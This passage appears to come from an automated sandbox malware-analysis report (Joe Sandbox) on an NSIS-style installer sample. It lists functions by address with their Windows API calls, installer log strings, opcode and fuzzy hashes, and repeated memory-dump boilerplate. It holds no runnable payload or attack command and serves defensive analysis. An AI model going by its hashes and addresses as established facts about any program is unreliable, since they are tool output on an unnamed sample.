                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: PrivateProfileStringWritelstrcpyn
                                                                                                                                                                • String ID: 139$<RM>$WriteINIStr: wrote [%s] %s=%s in %s
                                                                                                                                                                • API String ID: 247603264-2602149744
                                                                                                                                                                • Opcode ID: ebd727ba1388524afa6f7b5c72e47581e9b4ec966d204d2154218169f3a3a122
                                                                                                                                                                • Instruction ID: 1675f45263e21dacb3bd3d3c28f4c469aa899418fcec56767b4290250f933745
                                                                                                                                                                • Opcode Fuzzy Hash: ebd727ba1388524afa6f7b5c72e47581e9b4ec966d204d2154218169f3a3a122
                                                                                                                                                                • Instruction Fuzzy Hash: 05014F70D40319BADB10BFA18D859AF7A78AF09304F10403FF11A761E3D7B80A408BAD
                                                                                                                                                                Function 004021B5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 54COMMON
                                                                                                                                                                Download Yara Rule

                                                                                                                                                                Control-flow Graph

                                                                                                                                                                • Executed
                                                                                                                                                                • Not Executed
                                                                                                                                                                control_flow_graph 906 4021b5-40220b call 40145c * 4 call 404f72 ShellExecuteW 917 402223-4030f2 call 4062a3 906->917 918 40220d-40221b call 4062a3 906->918 918->917
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
                                                                                                                                                                  • Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
                                                                                                                                                                  • Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
                                                                                                                                                                  • Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
                                                                                                                                                                  • Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
                                                                                                                                                                  • Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
                                                                                                                                                                  • Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D
                                                                                                                                                                • ShellExecuteW.SHELL32(?,00000000,00000000,00000000,004CB0B0,?), ref: 00402202
                                                                                                                                                                  • Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
                                                                                                                                                                  • Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7
                                                                                                                                                                Strings
                                                                                                                                                                • ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d, xrefs: 00402211
                                                                                                                                                                • ExecShell: success ("%s": file:"%s" params:"%s"), xrefs: 00402226
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: MessageSendlstrlen$ExecuteShellTextWindowlstrcatwvsprintf
                                                                                                                                                                • String ID: ExecShell: success ("%s": file:"%s" params:"%s")$ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d
                                                                                                                                                                • API String ID: 3156913733-2180253247
                                                                                                                                                                • Opcode ID: 0e9dd1e26526b91e1c41cfd2ad6e78dbbf82426293fff8cc21759efb88a5ec27
                                                                                                                                                                • Instruction ID: bbc106df3db47d5a89d2587a4e22f40687ed87c50c6518a2742e337a88eb4af1
                                                                                                                                                                • Opcode Fuzzy Hash: 0e9dd1e26526b91e1c41cfd2ad6e78dbbf82426293fff8cc21759efb88a5ec27
                                                                                                                                                                • Instruction Fuzzy Hash: E001F7B2B4021476DB2077B69C87F6B2A5CDB41764B20047BF502F20E3E5BD88009139
                                                                                                                                                                Function 00405E7F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetTickCount.KERNEL32 ref: 00405E9D
                                                                                                                                                                • GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00000000,004037FE,004D30C0,004D70C8), ref: 00405EB8
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: CountFileNameTempTick
                                                                                                                                                                • String ID: nsa
                                                                                                                                                                • API String ID: 1716503409-2209301699
                                                                                                                                                                • Opcode ID: 74c86182fa67e47248f5fe200c9c22c18b8020e4291a34397a9b0f642818afda
                                                                                                                                                                • Instruction ID: bbb7b3741c82bae03d84fc31e008e00914f4f4b6280f54d22115683b6c602e07
                                                                                                                                                                • Opcode Fuzzy Hash: 74c86182fa67e47248f5fe200c9c22c18b8020e4291a34397a9b0f642818afda
                                                                                                                                                                • Instruction Fuzzy Hash: 39F0F635600604BBDB00CF55DD05A9FBBBDEF90310F00803BE944E7140E6B09E00C798
                                                                                                                                                                Function 00402175 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • ShowWindow.USER32(00000000,00000000), ref: 0040219F
                                                                                                                                                                  • Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
                                                                                                                                                                  • Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7
                                                                                                                                                                • EnableWindow.USER32(00000000,00000000), ref: 004021AA
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Window$EnableShowlstrlenwvsprintf
                                                                                                                                                                • String ID: HideWindow
                                                                                                                                                                • API String ID: 1249568736-780306582
                                                                                                                                                                • Opcode ID: 0616bcda597e9750e62a76ee812eb00f220ec1a404151e7fe1b3dec3a2ed7f78
                                                                                                                                                                • Instruction ID: bfe0de145d0e58e27592ef60cc9cda220d4f3e6bacb950e19a0f62fa040dbd34
                                                                                                                                                                • Opcode Fuzzy Hash: 0616bcda597e9750e62a76ee812eb00f220ec1a404151e7fe1b3dec3a2ed7f78
                                                                                                                                                                • Instruction Fuzzy Hash: F1E09232A05111DBCB08FBB5A74A5AE76B4EA9532A721007FE143F20D0DABD8D01C62D
                                                                                                                                                                Function 004078C5 Relevance: 5.2, APIs: 4, Instructions: 238COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID:
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID:
                                                                                                                                                                • Opcode ID: 34a0988d6b53cb3e5c5cab68a25a042cd6e02f2342b0fd139447399893daab40
                                                                                                                                                                • Instruction ID: 5b61ba0e549d4a34e11b5feda41afe9ae6537485a044c30e59ebd23bda5797f4
                                                                                                                                                                • Opcode Fuzzy Hash: 34a0988d6b53cb3e5c5cab68a25a042cd6e02f2342b0fd139447399893daab40
                                                                                                                                                                • Instruction Fuzzy Hash: BCA14771908248DBEF18CF28C8946AD3BB1FB44359F14812AFC56AB280D738E985DF85
                                                                                                                                                                Function 00407AC3 Relevance: 5.2, APIs: 4, Instructions: 211COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID:
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID:
                                                                                                                                                                • Opcode ID: 5706958415abe038d8bc904968b39eb1c0ab21271a5e62a9b552e9204fe8a243
                                                                                                                                                                • Instruction ID: 0868455ade8710e2db62ea7c97591ecaf8a07f5330254cde648c5a00cf1b77b0
                                                                                                                                                                • Opcode Fuzzy Hash: 5706958415abe038d8bc904968b39eb1c0ab21271a5e62a9b552e9204fe8a243
                                                                                                                                                                • Instruction Fuzzy Hash: 30912871908248DBEF14CF18C8947A93BB1FF44359F14812AFC5AAB291D738E985DF89
                                                                                                                                                                Function 00407312 Relevance: 5.2, APIs: 4, Instructions: 201COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID:
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID:
                                                                                                                                                                • Opcode ID: 11cd2314bdb72fbaaf254cc8ab9d4ea11bc1da16cf3644787fbca669908488dc
                                                                                                                                                                • Instruction ID: 3981f1dd08afc316d24d9ed5113be2a17ca7da729ed8f25fba603efd3ef4d826
                                                                                                                                                                • Opcode Fuzzy Hash: 11cd2314bdb72fbaaf254cc8ab9d4ea11bc1da16cf3644787fbca669908488dc
                                                                                                                                                                • Instruction Fuzzy Hash: 39815931908248DBEF14CF29C8446AE3BB1FF44355F10812AFC66AB291D778E985DF86
                                                                                                                                                                Function 00407752 Relevance: 5.2, APIs: 4, Instructions: 179COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID:
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID:
                                                                                                                                                                • Opcode ID: f6fc324ba2a3154e694309e6bae2168c7942ffc843c4c16a3e425845c98615c2
                                                                                                                                                                • Instruction ID: 01891581271c5a124b16634c3a8992e7a6857e255b4271240234ec945a90a24d
                                                                                                                                                                • Opcode Fuzzy Hash: f6fc324ba2a3154e694309e6bae2168c7942ffc843c4c16a3e425845c98615c2
                                                                                                                                                                • Instruction Fuzzy Hash: 73713571908248DBEF18CF28C894AAD3BF1FB44355F14812AFC56AB291D738E985DF85
                                                                                                                                                                Function 00407854 Relevance: 5.2, APIs: 4, Instructions: 169COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID:
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID:
                                                                                                                                                                • Opcode ID: 50afaaeaa81713190e6368922b68e72c74c0f8af07b8473edddf34e42917c2b6
                                                                                                                                                                • Instruction ID: 94e3b44a92ae0aa4503ed5f8848dd13d39bc4d5c5e61625994f203468061122b
                                                                                                                                                                • Opcode Fuzzy Hash: 50afaaeaa81713190e6368922b68e72c74c0f8af07b8473edddf34e42917c2b6
                                                                                                                                                                • Instruction Fuzzy Hash: 25713671908248DBEF18CF19C894BA93BF1FB44345F10812AFC56AA291C738E985DF86
                                                                                                                                                                Function 004077B2 Relevance: 5.2, APIs: 4, Instructions: 166COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID:
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID:
                                                                                                                                                                • Opcode ID: c1e8f36220be8f98feef1199d10cba6751babd433578914259dc57061f930aad
                                                                                                                                                                • Instruction ID: 61f7b93237898aea062553d5d4b8719da8ac7eccb5076a10c91df3859b53dd49
                                                                                                                                                                • Opcode Fuzzy Hash: c1e8f36220be8f98feef1199d10cba6751babd433578914259dc57061f930aad
                                                                                                                                                                • Instruction Fuzzy Hash: 98612771908248DBEF18CF19C894BAD3BF1FB44345F14812AFC56AA291C738E985DF86
                                                                                                                                                                Function 00407C5F Relevance: 5.2, APIs: 4, Instructions: 156memoryCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GlobalFree.KERNELBASE(?), ref: 004073C5
                                                                                                                                                                • GlobalAlloc.KERNELBASE(00000040,?,00000000,0041F150,00004000), ref: 004073CE
                                                                                                                                                                • GlobalFree.KERNELBASE(?), ref: 0040743D
                                                                                                                                                                • GlobalAlloc.KERNELBASE(00000040,?,00000000,0041F150,00004000), ref: 00407448
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Global$AllocFree
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 3394109436-0
                                                                                                                                                                • Opcode ID: b4e0c1391c46ae50f73649b3c762cd7b27ce57b462bacfc2a9e8da119b19f928
                                                                                                                                                                • Instruction ID: da36524f31269fd1e9de8fc6705d7123eeae9c681c0d19372ba3dadca10d6d3f
                                                                                                                                                                • Opcode Fuzzy Hash: b4e0c1391c46ae50f73649b3c762cd7b27ce57b462bacfc2a9e8da119b19f928
                                                                                                                                                                • Instruction Fuzzy Hash: 81513871918248EBEF18CF19C894AAD3BF1FF44345F10812AFC56AA291C738E985DF85
                                                                                                                                                                Function 0040139D Relevance: 3.0, APIs: 2, Instructions: 42windowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013F6
                                                                                                                                                                • SendMessageW.USER32(00000402,00000402,00000000), ref: 00401406
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: MessageSend
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 3850602802-0
                                                                                                                                                                • Opcode ID: 5a31974c6ff286c329462761e498969acf5a6972bf7682297af78da516706e42
                                                                                                                                                                • Instruction ID: d71d45502f518029c3ce7990b7c8d381ac94a1bb539c673c2af025244294d997
                                                                                                                                                                • Opcode Fuzzy Hash: 5a31974c6ff286c329462761e498969acf5a6972bf7682297af78da516706e42
                                                                                                                                                                • Instruction Fuzzy Hash: 96F0F471A10220DFD7555B74DD04B273699AB80361F24463BF911F62F1E6B8DC528B4E
                                                                                                                                                                Function 00405E50 Relevance: 3.0, APIs: 2, Instructions: 15fileCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetFileAttributesW.KERNELBASE(00000003,004035C7,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00405E54
                                                                                                                                                                • CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A47,?), ref: 00405E76
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: File$AttributesCreate
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 415043291-0
                                                                                                                                                                • Opcode ID: 6f817a4f04f8c8cc68f88398dd52813d28edb2112aa12cde00d29204b34f1fbe
                                                                                                                                                                • Instruction ID: fe2e31f24f36ecb58ba6038de6e4569557e5a61990f2f31681ab57118d472e11
                                                                                                                                                                • Opcode Fuzzy Hash: 6f817a4f04f8c8cc68f88398dd52813d28edb2112aa12cde00d29204b34f1fbe
                                                                                                                                                                • Instruction Fuzzy Hash: BCD09E71554202EFEF098F60DE1AF6EBBA2FB94B00F11852CB292550F0DAB25819DB15
                                                                                                                                                                Function 00405E30 Relevance: 3.0, APIs: 2, Instructions: 9COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetFileAttributesW.KERNELBASE(?,00406E81,?,?,?), ref: 00405E34
                                                                                                                                                                • SetFileAttributesW.KERNEL32(?,00000000), ref: 00405E47
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
